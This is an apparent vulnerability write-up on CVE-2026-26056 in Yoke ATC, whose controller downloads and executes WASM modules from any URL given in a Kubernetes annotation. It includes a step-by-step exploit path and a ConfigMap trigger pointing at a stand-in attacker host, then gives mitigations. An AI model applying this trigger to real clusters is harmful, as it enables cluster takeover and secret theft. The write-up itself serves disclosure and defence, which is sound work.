Yoke ATC: Flying Blind into WASM RCE

In the modern DevOps landscape, everyone wants to be 'Cloud Native.' We want our infrastructure defined as code, our deployments automated, and our coffee brewed by a Kubernetes operator. Enter Yoke, a tool designed to be the 'Air Traffic Controller' (ATC) for your Helm-like packages. It promises to manage your flights (deployments) with grace and efficiency. But as any security researcher knows, the more 'magic' a tool promises, the more likely it is to be pulling a rabbit out of a hat that is actually a pipe bomb.

CVE-2026-26056 is the kind of vulnerability that makes you laugh before it makes you cry. It resides in the ATC component, specifically in a feature designed to allow dynamic overrides of deployment logic using WebAssembly (WASM). The idea was noble: allow users to extend logic on the fly. The implementation, however, was a masterclass in implicit trust. It turns out that letting users point your infrastructure controller to a random binary on the internet and saying 'run this, please' is a bad idea. Who knew?

The root cause here is a classic case of CWE-94: Improper Control of Generation of Code. The Yoke ATC monitors Kubernetes resources for specific annotations. One such annotation, overrides.yoke.cd/flight, was designed to specify a URL pointing to a WASM module. This module would then be loaded to handle specific logic for that resource.

The flaw? The ATC didn't care where that URL pointed. It didn't verify a signature. It didn't check an allowlist. It didn't even ask for ID. If you annotated a resource with http://attacker.com/pwn.wasm, the ATC—running with high privileges—would obediently reach out, download the payload, and execute it within its own memory space. This is the digital equivalent of picking up a USB drive found in a parking lot and plugging it into the CEO's laptop, except the USB drive is automatically mailed to you by a hacker you've never met.

Let's look at the logic that doomed the controller. While the exact source code is voluminous, the vulnerability boils down to a sequence of operations that should never exist without strict guardrails. The controller's reconciliation loop effectively did this:

1. Watch for changes in resources.
2. Read the overrides.yoke.cd/flight annotation.
3. If present, http.Get(url).
4. wasmRuntime.Instantiate(downloadedBytes).

The fix, introduced in version 0.19.1 (commit f97305640524f75df4f658be45edca0b0196beb7), essentially locks the cockpit door. It likely removes the ability to load arbitrary remote URLs entirely or enforces strict origin validation, ensuring that only trusted modules (or those bundled with the application) can be executed. It transforms an open plugin system into a closed loop, which is exactly what it should have been for a component running with cluster-admin privileges.

Exploiting this is terrifyingly simple. You don't need a buffer overflow. You don't need to race a condition. You just need to be able to edit a Kubernetes resource that Yoke is watching. Here is the flight plan for disaster:

Step 1: The Payload First, we compile a malicious WASM module. Since Yoke likely uses a standard WASI interface or a specific host function set, we write a small Rust program that dumps environment variables (hello, AWS keys) or calls back to the Kubernetes API to create a privileged pod.

Step 2: The Setup We host this file at http://evil-server.com/free-robux.wasm.

Step 3: The Trigger We apply a simple patch to a resource:

apiVersion: v1
kind: ConfigMap
metadata:
  name: benign-config
  annotations:
    overrides.yoke.cd/flight: "http://evil-server.com/free-robux.wasm"

Step 4: Execution The Yoke ATC sees the update. "Oh look, flight instructions!" it thinks. It downloads our WASM. It instantiates it. Suddenly, our code is running inside the ATC pod. Since the ATC needs to manage infrastructure, it has a ServiceAccount with immense power. We use that token to grant ourselves cluster-admin rights. Game over.

The impact of this vulnerability cannot be overstated. In a Kubernetes environment, the "Controller" pattern usually implies high privilege. Controllers need to create Deployments, Services, and Ingresses. Often, in a lazy setup, they are just given cluster-admin because granular RBAC is "too hard."

By achieving RCE in the ATC, we aren't just compromising one pod; we are compromising the management plane of the cluster. We can exfiltrate secrets, inject sidecars into every other deployment, or simply delete the entire cluster. It is a full compromise of the environment managed by Yoke.

If you are running Yoke ATC <= 0.19.0, you are currently flying a plane with no doors. Here is how to land safely:

1. Upgrade Immediately Update to version 0.19.1. The developers have patched the vulnerability, likely by restricting or removing the dynamic loading capability.

2. Admission Control (The Safety Net) Even after patching, trust nothing. Use OPA Gatekeeper or Kyverno to strictly forbid the overrides.yoke.cd/flight annotation on any resource unless you explicitly trust the source. A simple constraint template can block this annotation entirely.

3. Network Policies (The Firewall) Why does your infrastructure controller need to talk to the open internet? It probably doesn't. Apply a Kubernetes NetworkPolicy that denies egress traffic from the ATC namespace to the public internet, or whitelists only specific, trusted domains (like your OCI registry). If the ATC can't reach evil-server.com, the exploit fails.